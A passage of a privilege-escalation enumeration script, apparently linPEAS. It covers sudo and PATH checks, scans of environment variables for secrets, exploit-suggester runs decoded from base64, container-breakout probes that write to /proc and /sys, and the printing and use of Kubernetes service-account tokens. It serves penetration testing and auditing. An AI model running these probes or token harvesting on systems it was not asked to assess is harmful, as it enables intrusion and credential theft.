2>/dev/null)" ]; then +print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-version" +sudo -V 2>/dev/null | grep "Sudo ver" | sed -${E} "s,$sudovB,${SED_RED}," +else echo_not_found "sudo" +fi +echo "" + +#--SY) USBCreator +if (busctl list 2>/dev/null | grep -q com.ubuntu.USBCreator) || [ "$DEBUG" ]; then + print_2title "USBCreator" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation" + + pc_version=$(dpkg -l 2>/dev/null | grep policykit-desktop-privileges | grep -oP "[0-9][0-9a-zA-Z\.]+") + if [ -z "$pc_version" ]; then + pc_version=$(apt-cache policy policykit-desktop-privileges 2>/dev/null | grep -oP "\*\*\*.*" | cut -d" " -f2) + fi + if [ -n "$pc_version" ]; then + pc_length=${#pc_version} + pc_major=$(echo "$pc_version" | cut -d. -f1) + pc_minor=$(echo "$pc_version" | cut -d. -f2) + if [ "$pc_length" -eq 4 ] && [ "$pc_major" -eq 0 ] && [ "$pc_minor" -lt 21 ]; then + echo "Vulnerable!!" | sed -${E} "s,.*,${SED_RED}," + fi + fi +fi +echo "" + +#-- SY) PATH + +print_2title "PATH" +print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-path-abuses" +if ! [ "$IAMROOT" ]; then + echo "$OLDPATH" 2>/dev/null | sed -${E} "s,$Wfolders|\./|\.:|:\.,${SED_RED_YELLOW},g" +fi + +if [ "$DEBUG" ]; then + echo "New path exported: $PATH" +fi +echo "" + +#-- SY) Date +print_2title "Date & uptime" +warn_exec date 2>/dev/null +warn_exec uptime 2>/dev/null +echo "" + +#-- SY) System stats +if [ "$EXTRA_CHECKS" ]; then + print_2title "System stats" + (df -h || lsblk) 2>/dev/null || echo_not_found "df and lsblk" + warn_exec free 2>/dev/null + echo "" +fi + +#-- SY) CPU info +if [ "$EXTRA_CHECKS" ]; then + print_2title "CPU info" + warn_exec lscpu 2>/dev/null + echo "" +fi + +if [ -d "/dev" ] || [ "$DEBUG" ] ; then + print_2title "Any sd*/disk* disk in /dev? (limit 20)" + ls /dev 2>/dev/null | grep -Ei "^sd|^disk" | sed "s,crypt,${SED_RED}," | head -n 20 + echo "" +fi + +if [ -f "/etc/fstab" ] || [ "$DEBUG" ]; then + print_2title "Unmounted file-system?" + print_info "Check if you can mount umounted devices" + grep -v "^#" /etc/fstab 2>/dev/null | grep -Ev "\W+\#|^#" | sed -${E} "s,$mountG,${SED_GREEN},g" | sed -${E} "s,$notmounted,${SED_RED},g" | sed -${E} "s%$mounted%${SED_BLUE}%g" | sed -${E} "s,$Wfolders,${SED_RED}," | sed -${E} "s,$mountpermsB,${SED_RED},g" | sed -${E} "s,$mountpermsG,${SED_GREEN},g" + echo "" +fi + +if ([ "$(command -v diskutil)" ] || [ "$DEBUG" ]) && [ "$EXTRA_CHECKS" ]; then + print_2title "Mounted disks information" + warn_exec diskutil list + echo "" +fi + +if [ "$(command -v smbutil)" ] || [ "$DEBUG" ]; then + print_2title "Mounted SMB Shares" + warn_exec smbutil statshares -a + echo "" +fi + +#-- SY) Environment vars +print_2title "Environment" +print_info "Any private information inside environment variables?" +(env || printenv || set) 2>/dev/null | grep -v "RELEVANT*|FIND*|^VERSION=|dbuslistG|mygroups|ldsoconfdG|pwd_inside_history|kernelDCW_Ubuntu_Precise|kernelDCW_Ubuntu_Trusty|kernelDCW_Ubuntu_Xenial|kernelDCW_Rhel|^sudovB=|^rootcommon=|^mounted=|^mountG=|^notmounted=|^mountpermsB=|^mountpermsG=|^kernelB=|^C=|^RED=|^GREEN=|^Y=|^B=|^NC=|TIMEOUT=|groupsB=|groupsVB=|knw_grps=|sidG|sidB=|sidVB=|sidVB2=|sudoB=|sudoG=|sudoVB=|timersG=|capsB=|notExtensions=|Wfolders=|writeB=|writeVB=|_usrs=|compiler=|PWD=|LS_COLORS=|pathshG=|notBackup=|processesDump|processesB|commonrootdirs|USEFUL_SOFTWARE|PSTORAGE_KUBERNETES" | sed -${E} "s,[pP][wW][dD]|[pP][aA][sS][sS][wW]|[aA][pP][iI][kK][eE][yY]|[aA][pP][iI][_][kK][eE][yY]|KRB5CCNAME,${SED_RED},g" || echo_not_found "env || set" +echo "" + +#-- SY) Dmesg +if [ "$(command -v dmesg 2>/dev/null)" ] || [ "$DEBUG" ]; then + print_2title "Searching Signature verification failed in dmesg" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#dmesg-signature-verification-failed" + (dmesg 2>/dev/null | grep "signature") || echo_not_found "dmesg" + echo "" +fi + +#-- SY) Kernel extensions +if [ "$MACPEAS" ]; then + print_2title "Kernel Extensions not belonging to apple" + kextstat 2>/dev/null | grep -Ev " com.apple." + + print_2title "Unsigned Kernel Extensions" + macosNotSigned /Library/Extensions + macosNotSigned /System/Library/Extensions +fi + +if [ "$(command -v bash 2>/dev/null)" ]; then + print_2title "Executing Linux Exploit Suggester" + print_info "https://github.com/mzet-/linux-exploit-suggester" + les_b64="peass{LES}" + echo $les_b64 | base64 -d | bash | sed "s,$(printf '\033')\\[[0-9;]*[a-zA-Z],,g" | grep -i "\[CVE" -A 10 | grep -Ev "^\-\-$" | sed -${E} "s,\[CVE-[0-9]+-[0-9]+\].*,${SED_RED},g" + echo "" +fi + +if [ "$(command -v perl 2>/dev/null)" ]; then + print_2title "Executing Linux Exploit Suggester 2" + print_info "https://github.com/jondonas/linux-exploit-suggester-2" + les2_b64="peass{LES2}" + echo $les2_b64 | base64 -d | perl 2>/dev/null | sed "s,$(printf '\033')\\[[0-9;]*[a-zA-Z],,g" | grep -i "CVE" -B 1 -A 10 | grep -Ev "^\-\-$" | sed -${E} "s,CVE-[0-9]+-[0-9]+,${SED_RED},g" + echo "" +fi + +if [ "$MACPEAS" ] && [ "$(command -v brew 2>/dev/null)" ]; then + print_2title "Brew Doctor Suggestions" + brew doctor + echo "" +fi + + + +#-- SY) AppArmor +print_2title "Protections" +print_list "AppArmor enabled? .............. "$NC +if [ "$(command -v aa-status 2>/dev/null)" ]; then + aa-status 2>&1 | sed "s,disabled,${SED_RED}," +elif [ "$(command -v apparmor_status 2>/dev/null)" ]; then + apparmor_status 2>&1 | sed "s,disabled,${SED_RED}," +elif [ "$(ls -d /etc/apparmor* 2>/dev/null)" ]; then + ls -d /etc/apparmor* +else + echo_not_found "AppArmor" +fi + +#-- SY) LinuxONE +print_list "is linuxONE? ................... "$NC +( (uname -a | grep "s390x" >/dev/null 2>&1) && echo "Yes" || echo_not_found "s390x") + +#-- SY) grsecurity +print_list "grsecurity present? ............ "$NC +( (uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo_not_found "grsecurity") + +#-- SY) PaX +print_list "PaX bins present? .............. "$NC +(command -v paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo_not_found "PaX") + +#-- SY) Execshield +print_list "Execshield enabled? ............ "$NC +(grep "exec-shield" /etc/sysctl.conf 2>/dev/null || echo_not_found "Execshield") | sed "s,=0,${SED_RED}," + +#-- SY) SElinux +print_list "SELinux enabled? ............... "$NC +(sestatus 2>/dev/null || echo_not_found "sestatus") | sed "s,disabled,${SED_RED}," + +#-- SY) Seccomp +print_list "Seccomp enabled? ............... "$NC +([ "$(grep Seccomp /proc/self/status 2>/dev/null | grep -v 0)" ] && echo "enabled" || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,enabled,${SED_GREEN}," + +#-- SY) AppArmor +print_list "AppArmor profile? .............. "$NC +(cat /proc/self/attr/current 2>/dev/null || echo "unconfined") | sed "s,unconfined,${SED_RED}," | sed "s,kernel,${SED_GREEN}," + +#-- SY) AppArmor +print_list "User namespace? ................ "$NC +if [ "$(cat /proc/self/uid_map 2>/dev/null)" ]; then echo "enabled" | sed "s,enabled,${SED_GREEN},"; else echo "disabled" | sed "s,disabled,${SED_RED},"; fi + +#-- SY) cgroup2 +print_list "Cgroup2 enabled? ............... "$NC +([ "$(grep cgroup2 /proc/filesystems 2>/dev/null)" ] && echo "enabled" || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,enabled,${SED_GREEN}," + +#-- SY) Gatekeeper +if [ "$MACPEAS" ]; then + print_list "Gatekeeper enabled? .......... "$NC + (spctl --status 2>/dev/null || echo_not_found "sestatus") | sed "s,disabled,${SED_RED}," + + print_list "sleepimage encrypted? ........ "$NC + (sysctl vm.swapusage | grep "encrypted" | sed "s,encrypted,${SED_GREEN},") || echo_no + + print_list "XProtect? .................... "$NC + (system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistConfigData" | tail -n 5 | grep -Iv "^$") || echo_no + + print_list "SIP enabled? ................. "$NC + csrutil status | sed "s,enabled,${SED_GREEN}," | sed "s,disabled,${SED_RED}," || echo_no + + print_list "Connected to JAMF? ........... "$NC + warn_exec jamf checkJSSConnection + + print_list "Connected to AD? ............. "$NC + dsconfigad -show && echo "" || echo_no +fi + +#-- SY) ASLR +print_list "Is ASLR enabled? ............... "$NC +ASLR=$(cat /proc/sys/kernel/randomize_va_space 2>/dev/null) +if [ -z "$ASLR" ]; then + echo_not_found "/proc/sys/kernel/randomize_va_space"; +else + if [ "$ASLR" -eq "0" ]; then printf $RED"No"$NC; else printf $GREEN"Yes"$NC; fi + echo "" +fi + +#-- SY) Printer +print_list "Printer? ....................... "$NC +(lpstat -a || system_profiler SPPrintersDataType || echo_no) 2>/dev/null + +#-- SY) Running in a virtual environment +print_list "Is this a virtual machine? ..... "$NC +hypervisorflag=$(grep flags /proc/cpuinfo 2>/dev/null | grep hypervisor) +if [ "$(command -v systemd-detect-virt 2>/dev/null)" ]; then + detectedvirt=$(systemd-detect-virt) + if [ "$hypervisorflag" ]; then printf $RED"Yes ($detectedvirt)"$NC; else printf $GREEN"No"$NC; fi +else + if [ "$hypervisorflag" ]; then printf $RED"Yes"$NC; else printf $GREEN"No"$NC; fi +fi + +fi +echo '' +echo '' +if [ "$WAIT" ]; then echo "Press enter to continue"; read "asd"; fi + +if echo $CHECKS | grep -q container; then +print_title "Container" +########################################### +#---------) Container functions (---------# +########################################### + +containerCheck() { + inContainer="" + containerType="$(echo_no)" + + # Are we inside docker? + if [ -f "/.dockerenv" ] || + grep "/docker/" /proc/1/cgroup -qa 2>/dev/null || + grep -qai docker /proc/self/cgroup 2>/dev/null || + [ "$(find / -maxdepth 3 -name '*dockerenv*' -exec ls -la {} \; 2>/dev/null)" ] ; then + + inContainer="1" + containerType="docker\n" + fi + + # Are we inside kubenetes? + if grep "/kubepod" /proc/1/cgroup -qa 2>/dev/null || + grep -qai kubepods /proc/self/cgroup 2>/dev/null; then + + inContainer="1" + if [ "$containerType" ]; then containerType="$containerType (kubernetes)\n" + else containerType="kubernetes\n" + fi + fi + + # Inside concourse? + if grep "/concourse" /proc/1/mounts -qa 2>/dev/null; then + inContainer="1" + if [ "$containerType" ]; then + containerType="$containerType (concourse)\n" + fi + fi + + # Are we inside LXC? + if env | grep "container=lxc" -qa 2>/dev/null || + grep "/lxc/" /proc/1/cgroup -qa 2>/dev/null; then + + inContainer="1" + containerType="lxc\n" + fi + + # Are we inside podman? + if env | grep -qa "container=podman" 2>/dev/null || + grep -qa "container=podman" /proc/1/environ 2>/dev/null; then + + inContainer="1" + containerType="podman\n" + fi + + # Check for other container platforms that report themselves in PID 1 env + if [ -z "$inContainer" ]; then + if grep -a 'container=' /proc/1/environ 2>/dev/null; then + inContainer="1" + containerType="$(grep -a 'container=' /proc/1/environ | cut -d= -f2)\n" + fi + fi +} + +inDockerGroup() { + DOCKER_GROUP="No" + if groups 2>/dev/null | grep -q '\bdocker\b'; then + DOCKER_GROUP="Yes" + fi +} + +checkDockerRootless() { + DOCKER_ROOTLESS="No" + if docker info 2>/dev/null|grep -q rootless; then + DOCKER_ROOTLESS="Yes ($TIP_DOCKER_ROOTLESS)" + fi +} + +enumerateDockerSockets() { + dockerVersion="$(echo_not_found)" + if ! [ "$SEARCHED_DOCKER_SOCKETS" ]; then + SEARCHED_DOCKER_SOCKETS="1" + for int_sock in $(find / ! -path "/sys/*" -type s -name "docker.sock" -o -name "docker.socket" -o -name "dockershim.sock" -o -name "containerd.sock" -o -name "crio.sock" -o -name "frakti.sock" -o -name "rktlet.sock" 2>/dev/null); do + if ! [ "$IAMROOT" ] && [ -w "$int_sock" ]; then + if echo "$int_sock" | grep -Eq "docker"; then + dock_sock="$int_sock" + echo "You have write permissions over Docker socket $dock_sock" | sed -${E} "s,$dock_sock,${SED_RED_YELLOW},g" + echo "Docker enummeration:" + docker_enumerated="" + + if [ "$(command -v curl)" ]; then + sockInfoResponse="$(curl -s --unix-socket $dock_sock http://localhost/info)" + dockerVersion=$(echo "$sockInfoResponse" | tr ',' '\n' | grep 'ServerVersion' | cut -d'"' -f 4) + echo $sockInfoResponse | tr ',' '\n' | grep -E "$GREP_DOCKER_SOCK_INFOS" | grep -v "$GREP_DOCKER_SOCK_INFOS_IGNORE" | tr -d '"' + if [ "$sockInfoResponse" ]; then docker_enumerated="1"; fi + fi + + if [ "$(command -v docker)" ] && ! [ "$docker_enumerated" ]; then + sockInfoResponse="$(docker info)" + dockerVersion=$(echo "$sockInfoResponse" | tr ',' '\n' | grep 'Server Version' | cut -d' ' -f 4) + printf "$sockInfoResponse" | tr ',' '\n' | grep -E "$GREP_DOCKER_SOCK_INFOS" | grep -v "$GREP_DOCKER_SOCK_INFOS_IGNORE" | tr -d '"' + fi + + else + echo "You have write permissions over interesting socket $int_sock" | sed -${E} "s,$int_sock,${SED_RED},g" + fi + + else + echo "You don't have write permissions over interesting socket $int_sock" | sed -${E} "s,$int_sock,${SED_GREEN},g" + fi + done + fi +} + +checkDockerVersionExploits() { + if echo "$dockerVersion" | grep -iq "not found"; then + VULN_CVE_2019_13139="$(echo_not_found)" + VULN_CVE_2019_5736="$(echo_not_found)" + return + fi + + VULN_CVE_2019_13139="$(echo_no)" + if [ "$(echo $dockerVersion | sed 's,\.,,g')" -lt "1895" ]; then + VULN_CVE_2019_13139="Yes" + fi + + VULN_CVE_2019_5736="$(echo_no)" + if [ "$(echo $dockerVersion | sed 's,\.,,g')" -lt "1893" ]; then + VULN_CVE_2019_5736="Yes" + fi +} + +checkContainerExploits() { + VULN_CVE_2019_5021="$(echo_no)" + if [ -f "/etc/alpine-release" ]; then + alpineVersion=$(cat /etc/alpine-release) + if [ "$(echo $alpineVersion | sed 's,\.,,g')" -ge "330" ] && [ "$(echo $alpineVersion | sed 's,\.,,g')" -le "360" ]; then + VULN_CVE_2019_5021="Yes" + fi + fi +} + +checkCreateReleaseAgent(){ + cat /proc/$$/cgroup 2>/dev/null | grep -Eo '[0-9]+:[^:]+' | grep -Eo '[^:]+$' | while read -r subsys + do + if unshare -UrmC --propagation=unchanged bash -c "mount -t cgroup -o $subsys cgroup /tmp/cgroup_3628d4 2>&1 >/dev/null && test -w /tmp/cgroup_3628d4/release_agent" >/dev/null 2>&1 ; then + release_agent_breakout2="Yes (unshare with $subsys)"; + rm -rf /tmp/cgroup_3628d4 + break + fi + done +} + +checkProcSysBreakouts(){ + dev_mounted="No" + if [ $(ls -l /dev | grep -E "^c" | wc -l) -gt 50 ]; then + dev_mounted="Yes"; + fi + + proc_mounted="No" + if [ $(ls /proc | grep -E "^[0-9]" | wc -l) -gt 50 ]; then + proc_mounted="Yes"; + fi + + run_unshare=$(unshare -UrmC bash -c 'echo -n Yes' 2>/dev/null) + if ! [ "$run_unshare" = "Yes" ]; then + run_unshare="No" + fi + + if [ "$(ls -l /sys/fs/cgroup/*/release_agent 2>/dev/null)" ]; then + release_agent_breakout1="Yes" + else + release_agent_breakout1="No" + fi + + release_agent_breakout2="No" + mkdir /tmp/cgroup_3628d4 + mount -t cgroup -o memory cgroup /tmp/cgroup_3628d4 2>/dev/null + if [ $? -eq 0 ]; then + release_agent_breakout2="Yes"; + rm -rf /tmp/cgroup_3628d4 + else + mount -t cgroup -o rdma cgroup /tmp/cgroup_3628d4 2>/dev/null + if [ $? -eq 0 ]; then + release_agent_breakout2="Yes"; + rm -rf /tmp/cgroup_3628d4 + else + checkCreateReleaseAgent + fi + fi + rm -rf /tmp/cgroup_3628d4 2>/dev/null + + core_pattern_breakout="$( (echo -n '' > /proc/sys/kernel/core_pattern && echo Yes) 2>/dev/null || echo No)" + modprobe_present="$(ls -l `cat /proc/sys/kernel/modprobe` 2>/dev/null || echo No)" + panic_on_oom_dos="$( (echo -n '' > /proc/sys/vm/panic_on_oom && echo Yes) 2>/dev/null || echo No)" + panic_sys_fs_dos="$( (echo -n '' > /proc/sys/fs/suid_dumpable && echo Yes) 2>/dev/null || echo No)" + binfmt_misc_breakout="$( (echo -n '' > /proc/sys/fs/binfmt_misc/register && echo Yes) 2>/dev/null || echo No)" + proc_configgz_readable="$([ -r '/proc/config.gz' ] 2>/dev/null && echo Yes || echo No)" + sysreq_trigger_dos="$( (echo -n '' > /proc/sysrq-trigger && echo Yes) 2>/dev/null || echo No)" + kmsg_readable="$( (dmesg > /dev/null 2>&1 && echo Yes) 2>/dev/null || echo No)" # Kernel Exploit Dev + kallsyms_readable="$( (head -n 1 /proc/kallsyms > /dev/null && echo Yes )2>/dev/null || echo No)" # Kernel Exploit Dev + mem_readable="$( (head -n 1 /proc/self/mem > /dev/null && echo Yes) 2>/dev/null || echo No)" + if [ "$(head -n 1 /tmp/kcore 2>/dev/null)" ]; then kcore_readable="Yes"; else kcore_readable="No"; fi + kmem_readable="$( (head -n 1 /proc/kmem > /dev/null && echo Yes) 2>/dev/null || echo No)" + kmem_writable="$( (echo -n '' > /proc/kmem > /dev/null && echo Yes) 2>/dev/null || echo No)" + mem_readable="$( (head -n 1 /proc/mem > /dev/null && echo Yes) 2>/dev/null || echo No)" + mem_writable="$( (echo -n '' > /proc/mem > /dev/null && echo Yes) 2>/dev/null || echo No)" + sched_debug_readable="$( (head -n 1 /proc/sched_debug > /dev/null && echo Yes) 2>/dev/null || echo No)" + mountinfo_readable="$( (head -n 1 /proc/*/mountinfo > /dev/null && echo Yes) 2>/dev/null || echo No)" + uevent_helper_breakout="$( (echo -n '' > /sys/kernel/uevent_helper && echo Yes) 2>/dev/null || echo No)" + vmcoreinfo_readable="$( (head -n 1 /sys/kernel/vmcoreinfo > /dev/null && echo Yes) 2>/dev/null || echo No)" + security_present="$( (ls -l /sys/kernel/security > /dev/null && echo Yes) 2>/dev/null || echo No)" + security_writable="$( (echo -n '' > /sys/kernel/security/a && echo Yes) 2>/dev/null || echo No)" + efi_vars_writable="$( (echo -n '' > /sys/firmware/efi/vars && echo Yes) 2>/dev/null || echo No)" + efi_efivars_writable="$( (echo -n '' > /sys/firmware/efi/efivars && echo Yes) 2>/dev/null || echo No)" +} + + +############################################## +#---------------) Containers (---------------# +############################################## +containerCheck + +print_2title "Container related tools present (if any):" +command -v docker +command -v lxc +command -v rkt +command -v kubectl +command -v podman +command -v runc + +if [ "$$FAT_LINPEAS_AMICONTAINED" ]; then + print_2title "Am I Containered?" + execBin "AmIContainered" "https://github.com/genuinetools/amicontained" "$FAT_LINPEAS_AMICONTAINED" +fi + +print_2title "Container details" +print_list "Is this a container? ...........$NC $containerType" + +print_list "Any running containers? ........ "$NC +# Get counts of running containers for each platform +dockercontainers=$(docker ps --format "{{.Names}}" 2>/dev/null | wc -l) +podmancontainers=$(podman ps --format "{{.Names}}" 2>/dev/null | wc -l) +lxccontainers=$(lxc list -c n --format csv 2>/dev/null | wc -l) +rktcontainers=$(rkt list 2>/dev/null | tail -n +2 | wc -l) +if [ "$dockercontainers" -eq "0" ] && [ "$lxccontainers" -eq "0" ] && [ "$rktcontainers" -eq "0" ] && [ "$podmancontainers" -eq "0" ]; then + echo_no +else + containerCounts="" + if [ "$dockercontainers" -ne "0" ]; then containerCounts="${containerCounts}docker($dockercontainers) "; fi + if [ "$podmancontainers" -ne "0" ]; then containerCounts="${containerCounts}podman($podmancontainers) "; fi + if [ "$lxccontainers" -ne "0" ]; then containerCounts="${containerCounts}lxc($lxccontainers) "; fi + if [ "$rktcontainers" -ne "0" ]; then containerCounts="${containerCounts}rkt($rktcontainers) "; fi + echo "Yes $containerCounts" | sed -${E} "s,.*,${SED_RED}," + + # List any running containers + if [ "$dockercontainers" -ne "0" ]; then echo "Running Docker Containers" | sed -${E} "s,.*,${SED_RED},"; docker ps | tail -n +2 2>/dev/null; echo ""; fi + if [ "$podmancontainers" -ne "0" ]; then echo "Running Podman Containers" | sed -${E} "s,.*,${SED_RED},"; podman ps | tail -n +2 2>/dev/null; echo ""; fi + if [ "$lxccontainers" -ne "0" ]; then echo "Running LXC Containers" | sed -${E} "s,.*,${SED_RED},"; lxc list 2>/dev/null; echo ""; fi + if [ "$rktcontainers" -ne "0" ]; then echo "Running RKT Containers" | sed -${E} "s,.*,${SED_RED},"; rkt list 2>/dev/null; echo ""; fi +fi + +#If docker +if echo "$containerType" | grep -qi "docker"; then + print_2title "Docker Container details" + inDockerGroup + print_list "Am I inside Docker group .......$NC $DOCKER_GROUP\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," + print_list "Looking and enumerating Docker Sockets (if any):\n"$NC + enumerateDockerSockets + print_list "Docker version .................$NC$dockerVersion" + checkDockerVersionExploits + print_list "Vulnerable to CVE-2019-5736 ....$NC$VULN_CVE_2019_5736"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW}," + print_list "Vulnerable to CVE-2019-13139 ...$NC$VULN_CVE_2019_13139"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW}," + if [ "$inContainer" ]; then + checkDockerRootless + print_list "Rootless Docker? ............... $DOCKER_ROOTLESS\n"$NC | sed -${E} "s,No,${SED_RED}," | sed -${E} "s,Yes,${SED_GREEN}," + echo "" + fi + if df -h | grep docker; then + print_2title "Docker Overlays" + df -h | grep docker + fi +fi + +#If token secrets mounted +if [ "$(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p')" ]; then + print_2title "Listing mounted tokens" + print_info "https://book.hacktricks.xyz/cloud-security/pentesting-kubernetes/attacking-kubernetes-from-inside-a-pod" + ALREADY="IinItialVaaluE" + for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do + TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/')) + if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then + ALREADY="$ALREADY|$TOKEN" + echo "Directory: $i" + echo "Namespace: $(cat $i)" + echo "" + echo $TOKEN + echo "================================================================================" + echo "" + fi + done +fi + +if [ "$inContainer" ]; then + echo "" + print_2title "Container & breakout enumeration" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout" + print_list "Container ID ...................$NC $(cat /etc/hostname && echo -n '\n')" + if [ -f "/proc/1/cpuset" ] && echo "$containerType" | grep -qi "docker"; then + print_list "Container Full ID ..............$NC $(basename $(cat /proc/1/cpuset))\n" + fi + print_list "Seccomp enabled? ............... "$NC + ([ "$(grep Seccomp /proc/self/status | grep -v 0)" ] && echo "enabled" || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,enabled,${SED_GREEN}," + + print_list "AppArmor profile? .............. "$NC + (cat /proc/self/attr/current 2>/dev/null || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,kernel,${SED_GREEN}," + + print_list "User proc namespace? ........... "$NC + if [ "$(cat /proc/self/uid_map 2>/dev/null)" ]; then (printf "enabled"; cat /proc/self/uid_map) | sed "s,enabled,${SED_GREEN},"; else echo "disabled" | sed "s,disabled,${SED_RED},"; fi + + checkContainerExploits + print_list "Vulnerable to CVE-2019-5021 .... $VULN_CVE_2019_5021\n"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW}," + + print_3title "Breakout via mounts" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/sensitive-mounts" + + checkProcSysBreakouts + print_list "/proc mounted? ................. $proc_mounted\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," + print_list "/dev mounted? .................. $dev_mounted\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," + print_list "Run ushare ..................... $run_unshare\n" | sed -${E} "s,Yes,${SED_RED}," + print_list "release_agent breakout 1........ $release_agent_breakout1\n" | sed -${E} "s,Yes,${SED_RED}," + print_list "release_agent breakout 2........ $release_agent_breakout2\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," + print_list "core_pattern breakout .......... $core_pattern_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," + print_list "binfmt_misc breakout ........... $binfmt_misc_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," + print_list "uevent_helper breakout ......... $uevent_helper_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," + print_list "is modprobe present ............ $modprobe_present\n" | sed -${E} "s,/.*,${SED_RED}," + print_list "DoS via panic_on_oom ........... $panic_on_oom_dos\n" | sed -${E} "s,Yes,${SED_RED}," + print_list "DoS via panic_sys_fs ........... $panic_sys_fs_dos\n" | sed -${E} "s,Yes,${SED_RED}," + print_list "DoS via sysreq_trigger_dos ..... $sysreq_trigger_dos\n" | sed -${E} "s,Yes,${SED_RED}," + print_list "/proc/config.gz readable ....... $proc_configgz_readable\n" | sed -${E} "s,Yes,${SED_RED}," + print_list "/proc/sched_debug readable ..... $sched_debug_readable\n" | sed -${E} "s,Yes,${SED_RED}," + print_list "/proc/*/mountinfo readable ..... $mountinfo_readable\n" | sed -${E} "s,Yes,${SED_RED}," + print_list "/sys/kernel/security present ... $security_present\n" | sed -${E} "s,Yes,${SED_RED}," + print_list "/sys/kernel/security writable .. $security_writable\n" | sed -${E} "s,Yes,${SED_RED}," + if [ "$EXTRA_CHECKS" ]; then + print_list "/proc/kmsg readable ............ $kmsg_readable\n" | sed -${E} "s,Yes,${SED_RED}," + print_list "/proc/kallsyms readable ........ $kallsyms_readable\n" | sed -${E} "s,Yes,${SED_RED}," + print_list "/proc/self/mem readable ........ $sched_debug_readable\n" | sed -${E} "s,Yes,${SED_RED}," + print_list "/proc/kcore readable ........... $kcore_readable\n" | sed -${E} "s,Yes,${SED_RED}," + print_list "/proc/kmem readable ............ $kmem_readable\n" | sed -${E} "s,Yes,${SED_RED}," + print_list "/proc/kmem writable ............ $kmem_writable\n" | sed -${E} "s,Yes,${SED_RED}," + print_list "/proc/mem readable ............. $mem_readable\n" | sed -${E} "s,Yes,${SED_RED}," + print_list "/proc/mem writable ............. $mem_writable\n" | sed -${E} "s,Yes,${SED_RED}," + print_list "/sys/kernel/vmcoreinfo readable $vmcoreinfo_readable\n" | sed -${E} "s,Yes,${SED_RED}," + print_list "/sys/firmware/efi/vars writable $efi_vars_writable\n" | sed -${E} "s,Yes,${SED_RED}," + print_list "/sys/firmware/efi/efivars writable $efi_efivars_writable\n" | sed -${E} "s,Yes,${SED_RED}," + fi + + echo "" + print_3title "Namespaces" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/namespaces" + ls -l /proc/self/ns/ + + if echo "$containerType" | grep -qi "kubernetes"; then + print_list "Kubernetes namespace ...........$NC $(cat /run/secrets/kubernetes.io/serviceaccount/namespace /var/run/secrets/kubernetes.io/serviceaccount/namespace /secrets/kubernetes.io/serviceaccount/namespace 2>/dev/null)\n" + print_list "Kubernetes token ...............$NC $(cat /run/secrets/kubernetes.io/serviceaccount/token /var/run/secrets/kubernetes.io/serviceaccount/token /secrets/kubernetes.io/serviceaccount/token 2>/dev/null)\n" + echo "" + + print_2title "Kubernetes Information" + print_info "https://book.hacktricks.xyz/cloud-security/pentesting-kubernetes/attacking-kubernetes-from-inside-a-pod" + + + print_3title "Kubernetes service account folder" + ls -lR /run/secrets/kubernetes.io/ /var/run/secrets/kubernetes.io/ /secrets/kubernetes.io/ 2>/dev/null + echo "" + + print_3title "Kubernetes env vars" + (env | set) | grep -Ei "kubernetes|kube" | grep -Ev "^WF=|^Wfolders=|^mounted=|^USEFUL_SOFTWARE='|^INT_HIDDEN_FILES=|^containerType=" + echo "" + + print_3title "Current sa user k8s permissions" + print_info "https://book.hacktricks.xyz/cloud-security/pentesting-kubernetes/hardening-roles-clusterroles" + kubectl auth can-i --list 2>/dev/null || curl -s -k -d "$(echo \"eyJraW5kIjoiU2VsZlN1YmplY3RSdWxlc1JldmlldyIsImFwaVZlcnNpb24iOiJhdXRob3JpemF0aW9uLms4cy5pby92MSIsIm1ldGFkYXRhIjp7ImNyZWF0aW9uVGltZXN0YW1wIjpudWxsfSwic3BlYyI6eyJuYW1lc3BhY2UiOiJlZXZlZSJ9LCJzdGF0dXMiOnsicmVzb3VyY2VSdWxlcyI6bnVsbCwibm9uUmVzb3VyY2VSdWxlcyI6bnVsbCwiaW5jb21wbGV0ZSI6ZmFsc2V9fQo=\"|base64 -d)" \ + "https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \ + -X 'POST' -H 'Content-Type: application/json' \ + --header "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" | sed "s,secrets|exec|create|patch|impersonate|\"*\",${SED_RED}," + + fi + echo "" + + print_2title "Container Capabilities" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation#capabilities-abuse-escape" + if [ "$(command -v capsh)" ]; then + capsh --print 2>/dev/null | sed -${E} "s,$containercapsB,${SED_RED},g" + else + 